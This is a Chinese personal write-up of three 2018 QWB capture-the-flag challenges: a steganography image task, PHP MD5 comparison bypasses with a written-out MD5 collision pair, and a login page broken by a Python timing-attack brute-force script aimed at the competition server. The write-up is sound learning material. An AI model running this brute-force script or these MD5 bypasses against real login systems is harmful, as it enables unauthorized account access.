2018强网杯已经过去很久了
刚好再整理一下通过这次比赛的一些个人收获
最后感慨,自己实在太渣,要保持勤奋不断前进
0x01 welcome
一道简单的misc,给出了一张图片,直接拖到Stegsolve处理
在offset为80和100的时候可以看到flag
0x02 Web签到
这题考察PHP的MD5绕过,总共有三关
其中第一关是0e弱类型比较
第二关是数组绕过MD5比较
第三关无法绕过,只能找到真正的MD5碰撞
关于MD5碰撞,已经有现成的成果可以使用,曾经王晓云教授提出过成果
这里使用的碰撞对是
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
和
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
还可以使用碰撞对
在hackbar中通过自带的hex转char功能进行转换,最后post通过
0x03 3pigs
这题一直没有被人拿下,是web+pwn的题目
充满好奇去尝试了下,虽然没有结果,但是过程还是记录一下
访问题目链接后是一个登录界面,尝试sql注入等,并没有漏洞点
查看源代码发现注释中提示timing attack,既时序攻击,于是写代码进行爆破
时序攻击的介绍可以参考
https://www.zhihu.com/question/20156213
大致就是服务端对错误密码处理的响应时间有细微差异,假如逐位进行密码验证,则连续位数正确越多的密码,服务器返回时间越长
这里给出手动爆破的python脚本
#coding:utf-8
import requests
url="http://39.107.33.62:31927/login.php"
post={
"team":"icq15f6add5d952d9d8efac6c045970a",
"username":"admin",
"password":""
}
maxtime=0
char=""
for i in range(34,127):
avgtime=0
c = chr(i)
#这里进行诸位手动爆破
post["password"]="I10ve3P|g"+c+"*"*0
# I10ve3P|g~
response = requests.post(url, data=post)
avgtime = response.elapsed.microseconds
if avgtime > maxtime:
maxtime=avgtime
char = c
print(post["password"]+":"+str(avgtime)+" "+response.text)
if "Failed" not in response.text:
print("success!!")
f=open("success.txt","a")
f.write(post["password"])
f.close()
print(char)
最后得到登录密码是
I10ve3P|g~
登录后进入新的页面
和这几只猪死磕了很久都没有思路,最后GG